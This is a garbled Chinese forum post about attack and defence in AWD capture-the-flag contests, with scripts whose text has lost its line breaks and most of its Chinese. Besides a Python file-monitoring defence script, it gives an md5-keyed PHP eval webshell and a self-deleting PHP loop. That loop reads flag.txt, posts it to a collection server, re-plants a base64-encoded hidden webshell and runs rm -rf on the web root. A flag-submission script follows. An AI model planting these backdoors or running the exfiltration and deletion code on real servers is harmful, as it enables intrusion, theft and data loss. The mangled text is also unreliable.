[785] 2021-06-26_AWD的攻与防(附攻防脚本)

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-16
2021-06-26_AWD的攻与防(附攻防脚本) A W D       2 0 2 1 - 0 6 - 2 6   # a w d   , 1 1 c t f w w w - d a t a c t f s s h s h e l l i f ( " x x x " = = = m d 5 ( k e y ) ) w w w - d a t a 2 s h e l l 3 n d a y s h e l l 4 f l a g A W D 线 线 1 . p y t h o n l i n u x 2 . w e b h a s h w e b 3 . s h e l l #   - * -   c o d i n g :   u t f - 8   - * - # #   a w d #   a u t h o r i m p o r t   o s i m p o r t   j s o n i m p o r t   t i m e i m p o r t   h a s h l i b d e f   L i s t D i r ( p a t h ) :     #           f o r   f i l e   i n   o s . l i s t d i r ( p a t h ) :                 f i l e _ p a t h   =   o s . p a t h . j o i n ( p a t h ,   f i l e )                 i f   o s . p a t h . i s d i r ( f i l e _ p a t h ) :                         i f   i n i t i a l i z a t i o n [ ' o k ' ]   = =   ' f a l s e ' :
                                d i r _ l i s t . a p p e n d ( f i l e _ p a t h )                         e l s e :                                 d i r _ l i s t _ t m p . a p p e n d ( f i l e _ p a t h )                         L i s t D i r ( f i l e _ p a t h )                 e l s e :                         i f   i n i t i a l i z a t i o n [ ' o k ' ]   = =   ' f a l s e ' :                                 f i l e _ l i s t . a p p e n d ( f i l e _ p a t h )                         e l s e :                                 f i l e _ l i s t _ t m p . a p p e n d ( f i l e _ p a t h ) d e f   G e t H a s h ( ) :     #   h a s h         f o r   b a k   i n   f i l e _ l i s t :                 w i t h   o p e n ( b a k ,   ' r b ' )   a s   f :                         m d 5 o b j   =   h a s h l i b . m d 5 ( )                         m d 5 o b j . u p d a t e ( f . r e a d ( ) )                 h a s h   =   m d 5 o b j . h e x d i g e s t ( )                 b a k _ d i c t [ b a k ]   =   h a s h         i f   o s . p a t h . e x i s t s ( ' / t m p / a w d _ w e b _ h a s h . t x t ' )   = =   F a l s e :                 o s . s y s t e m ( ' m k d i r   / t m p / a w d _ w e b _ b a k / ' )                 o s . s y s t e m ( ' c p   - a   { 0 } *   / t m p / a w d _ w e b _ b a k / ' . f o r m a t ( w e b _ d i r ) )                 w i t h   o p e n ( ' / t m p / a w d _ w e b _ h a s h . t x t ' ,   ' w ' )   a s   f :     #   w e b h a s h                         f . w r i t e ( s t r ( j s o n . d u m p s ( b a k _ d i c t ) ) )                 f o r   i   i n   f i l e _ l i s t :     #   w e b                         w i t h   o p e n ( ' / t m p / a w d _ w e b _ l i s t . t x t ' ,   ' a ' )   a s   f :                                 f . w r i t e ( i   +   ' n ' )                 f o r   i   i n   d i r _ l i s t :     #   w e b                         w i t h   o p e n ( ' / t m p / a w d _ w e b _ d i r . t x t ' ,   ' a ' )   a s   f :                                 f . w r i t e ( i   +   ' n ' ) d e f   F i l e M o n i t o r ( ) :     #           #   w e b         i n i t i a l i z a t i o n [ ' o k ' ]   =   ' t r u e '         f o r   f i l e   i n   o s . l i s t d i r ( w e b _ d i r ) :                 f i l e _ p a t h   =   o s . p a t h . j o i n ( w e b _ d i r ,   f i l e )                 i f   o s . p a t h . i s d i r ( f i l e _ p a t h ) :                         d i r _ l i s t _ t m p . a p p e n d ( f i l e _ p a t h )                         L i s t D i r ( f i l e _ p a t h )                 e l s e :                         f i l e _ l i s t _ t m p . a p p e n d ( f i l e _ p a t h )         f o r   f i l e   i n   f i l e _ l i s t _ t m p :                 w i t h   o p e n ( f i l e ,   ' r b ' )   a s   f :                         m d 5 o b j   =   h a s h l i b . m d 5 ( )                         m d 5 o b j . u p d a t e ( f . r e a d ( ) )                 h a s h   =   m d 5 o b j . h e x d i g e s t ( )                 b a k _ d i c t _ t m p [ f i l e ]   =   h a s h         w i t h   o p e n ( ' / t m p / a w d _ w e b _ h a s h . t x t ' ,   ' r ' )   a s   f :     #   h a s h                 r e a l _ b a k _ d i c t   =   j s o n . l o a d s ( f . r e a d ( ) )         w i t h   o p e n ( ' / t m p / a w d _ w e b _ l i s t . t x t ' ,   ' r ' )   a s   f :     #                   r e a l _ f i l e _ l i s t   =   f . r e a d ( ) . s p l i t ( ' n ' ) [ 0 : - 1 ]         w i t h   o p e n ( ' / t m p / a w d _ w e b _ d i r . t x t ' ,   ' r ' )   a s   f :     #                   r e a l _ d i r _ l i s t   =   f . r e a d ( ) . s p l i t ( ' n ' ) [ 0 : - 1 ]         f o r   d i r   i n   r e a l _ d i r _ l i s t :     #   w e b                 t r y :                         o s . m a k e d i r s ( d i r )                         p r i n t ( " [ d e l - r e c o v e r ] d i r : { } " . f o r m a t ( d i r ) )                 e x c e p t :                         p a s s         f o r   f i l e   i n   f i l e _ l i s t _ t m p :                 t r y :                         i f   r e a l _ b a k _ d i c t [ f i l e ]   ! =   b a k _ d i c t _ t m p [ f i l e ] :     #                                   o s . s y s t e m ( ' c p   { 0 }   { 1 } ' . f o r m a t ( f i l e . r e p l a c e ( w e b _ d i r ,   ' / t m p / a w d _ w e b _ b a k / ' ) ,   f i l e ) )                                 p r i n t ( " [ m o d i f y - r e c o v e r ] f i l e : { } " . f o r m a t ( f i l e ) )                 e x c e p t :     #                           o s . s y s t e m ( ' r m   - r f   { 0 } ' . f o r m a t ( f i l e ) )                         p r i n t ( " [ d e l e t e ] w e b s h e l l : { 0 } " . f o r m a t ( f i l e ) )         f o r   r e a l _ f i l e   i n   r e a l _ f i l e _ l i s t :     #                   i f   r e a l _ f i l e   n o t   i n   f i l e _ l i s t _ t m p :                         o s . s y s t e m ( ' c p   { 0 }   { 1 } ' . f o r m a t ( r e a l _ f i l e . r e p l a c e ( w e b _ d i r ,   ' / t m p / a w d _ w e b _ b a k / ' ) ,   r e a l _ f i l e ) )                         p r i n t ( " [ d e l - r e c o v e r ] f i l e : { 0 } " . f o r m a t ( r e a l _ f i l e ) )         f i l e _ l i s t _ t m p [ : ]   =   [ ]         d i r _ l i s t _ t m p [ : ]   =   [ ] o s . s y s t e m ( " r m   - r f   / t m p / a w d _ w e b _ h a s h . t x t   / t m p / a w d _ w e b _ l i s t . t x t   / t m p / a w d _ w e b _ d i r . t x t   / t m p / a w d _ w e b _ b a k / " ) w e b _ d i r   =   " / v a r / w w w / "     #   w e b f i l e _ l i s t   =   [ ]
A W D 线 线 1 & f l a g 1 . 访 2 . f l a g f l a g f l a g f l a g f l a g 3 . 访 h t t p : / / x x x / . c 4 0 3 d 5 9 f e a 3 3 1 1 3 d f 4 4 d 4 6 5 a e e c 3 3 6 a b . p h p ? k e y = s s r 2 0 2 1 s h u o s h u r e n m d 5 a k e y f l a g 4 . 5 . a w d 2 0 2 1 . p h p 2 f l a g 1 . p h p s t u d y 2 . g e t f l a g . p h p 3 . f l a g s h u o s h u r e n _ f l a g . t x t 3 f l a g f l a g f l a g f i l e _ l i s t   =   [ ] d i r _ l i s t   =   [ ] b a k _ d i c t   =   { } f i l e _ l i s t _ t m p   =   [ ] d i r _ l i s t _ t m p   =   [ ] b a k _ d i c t _ t m p   =   { } i n i t i a l i z a t i o n   =   { ' o k ' :   ' f a l s e ' } L i s t D i r ( w e b _ d i r ) G e t H a s h ( ) w h i l e   T r u e :         p r i n t ( t i m e . c t i m e ( ) + "       " )         F i l e M o n i t o r ( )         t i m e . s l e e p ( 1 )     #   < ? p h p   $ k e y = $ _ G E T [ " k e y " ] ; $ k e y h a s h = m d 5 ( $ k e y ) ; i f ( $ k e y h a s h = = = " c 4 0 3 d 5 9 f e a 3 3 1 1 3 d f 4 4 d 4 6 5 a e e c 3 3 6 a b " )   {         e v a l ( $ _ P O S T [ " a " ] ) ; } e c h o " f i l e   n o t   f i n d . " ; ? > < ? p h p f u n c t i o n   s e n d _ p o s t ( $ u r l ,   $ p o s t _ d a t a )   {         $ p o s t d a t a   =   h t t p _ b u i l d _ q u e r y ( $ p o s t _ d a t a ) ;         $ o p t i o n s   =   a r r a y (                         ' h t t p '   = >   a r r a y (                             ' m e t h o d '   = >   ' P O S T ' ,                             ' h e a d e r '   = >   ' C o n t e n t - t y p e : a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' ,                             ' c o n t e n t '   = >   $ p o s t d a t a ,                             ' t i m e o u t '   = >   1 5   *   6 0                           )                     ) ;         $ c o n t e x t   =   s t r e a m _ c o n t e x t _ c r e a t e ( $ o p t i o n s ) ;         $ r e s u l t   =   f i l e _ g e t _ c o n t e n t s ( $ u r l ,   f a l s e ,   $ c o n t e x t ) ;         r e t u r n   $ r e s u l t ; } $ f l a g _ t m p = " f l a g { x x x } " ; @ u n l i n k   ( " a w d 2 0 2 1 . p h p " ) ; w h i l e   ( T r u e )   {         $ f l a g = s y s t e m ( " c a t   f l a g . t x t " ) ;         $ d a t a = a r r a y (                     ' f l a g '   = >   $ f l a g                 ) ;         i f   ( $ f l a g ! = $ f l a g _ t m p )   {                 s e n d _ p o s t ( ' h t t p : / / 1 2 7 . 0 . 0 . 1 / g e t f l a g . p h p ' ,   $ d a t a ) ;         }         $ f l a g _ t m p = $ f l a g ;         $ s h e l l = b a s e 6 4 _ d e c o d e ( " P D 9 w a H A g J G t l e T 0 k X 0 d F V F s i a 2 V 5 I l 0 7 C i R r Z X l o Y X N o P W 1 k N S g k a 2 V 5 K T s K a W Y o J G t l e W h h c 2 g 9 P T 0 i Y z Q w M 2 Q 1 O W Z l Y T M z M T E z Z G Y 0 N G Q 0 N j V h Z W V j M z M 2 Y W I i K S B 7 C g l l d m F s K C R f U E 9 T V F s i Y S J d K T s K f Q p l Y 2 h v I m Z p b G U g b m 9 0 I G Z p b m Q u I j s K P z 4 = "         i f   ( f i l e _ e x i s t s ( " . c 4 0 3 d 5 9 f e a 3 3 1 1 3 d f 4 4 d 4 6 5 a e e c 3 3 6 a b . p h p " ) = = 0 )   {                 f i l e _ p u t _ c o n t e n t s ( " . c 4 0 3 d 5 9 f e a 3 3 1 1 3 d f 4 4 d 4 6 5 a e e c 3 3 6 a b . p h p " ,   $ s h e l l ,   F I L E _ A P P E N D ) ;         }         s y s t e m ( " r m   - r f   / v a r / w w w / h t m l / *   ! ( . c 4 0 3 d 5 9 f e a 3 3 1 1 3 d f 4 4 d 4 6 5 a e e c 3 3 6 a b . p h p ) " ) ; } ? > < ? p h p $ f l a g = $ _ P O S T [ " f l a g " ] ; f i l e _ p u t _ c o n t e n t s ( " s h u o s h u r e n _ f l a g . t x t " ,   $ f l a g . " n " ,   F I L E _ A P P E N D ) ; ? > #   A W D f l a g
退 #   b a s e   p y t h o n 3 #   a u t h o r i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 i m p o r t   j s o n i m p o r t   t i m e d e f   G e t P i c ( u r l ) :     #   r e f e r         p i c _ c o n t e n t = r e q u e s t s . g e t ( u r l ) . c o n t e n t         p i c _ b a s e 6 4 = b a s e 6 4 . b 6 4 e n c o d e ( p i c _ c o n t e n t ) . d e c o d e ( )         d a t a = ' b a s e 6 4 = ' + p i c _ b a s e 6 4         t r y :                 y z m = r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . 1 6 8 . 3 . 1 0 3 : 8 8 9 9 / b a s e 6 4 ' , d a t a = d a t a ) . t e x t                 r e t u r n   y z m         e x c e p t :                 r e t u r n   ' y z m ' d e f   P o s t F l a g ( P o s t U r l , P i c U r l , f l a g ) :     #   f l a g         w i t h   o p e n ( f l a g , ' r ' )   a s   f :                 f l a g _ l i s t = f . r e a d ( ) . s p l i t ( ' n ' )         h e a d e r s = {                 #         }         f o r   f l a g   i n   f l a g _ l i s t :                 i f   f l a g   i n   f l a g _ l i s t :                         p r i n t ( " { }       " . f o r m a t ( f l a g ) )                 e l s e :                         G e t Y z m = G e t P i c ( P i c U r l )                         d a t a   =   j s o n . d u m p s ( { " " } )                         t r y :                                 r e s = r e q u e s t s . p o s t ( u r l = P o s t U r l , h e a d e r s = h e a d e r s , d a t a = d a t a )                                 i f   ' '   i n   r e s . t e x t :                                         p r i n t ( " { }       " . f o r m a t ( f l a g ) )                                         f l a g _ l i s t _ o k . a p p e n d ( f l a g )                                 e l s e :                                         p r i n t ( " { }       " . f o r m a t ( f l a g ) )                         e x c e p t :                                 p r i n t ( ' ' ) f l a g _ l i s t _ o k = [ ] w h i l e   T r u e :         P o s t F l a g ( " f l a g " , " f l a g " , " s h u o s h u r e n _ f l a g . t x t " )         t i m e . s l e e p ( 3 0 0 ) # 5

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则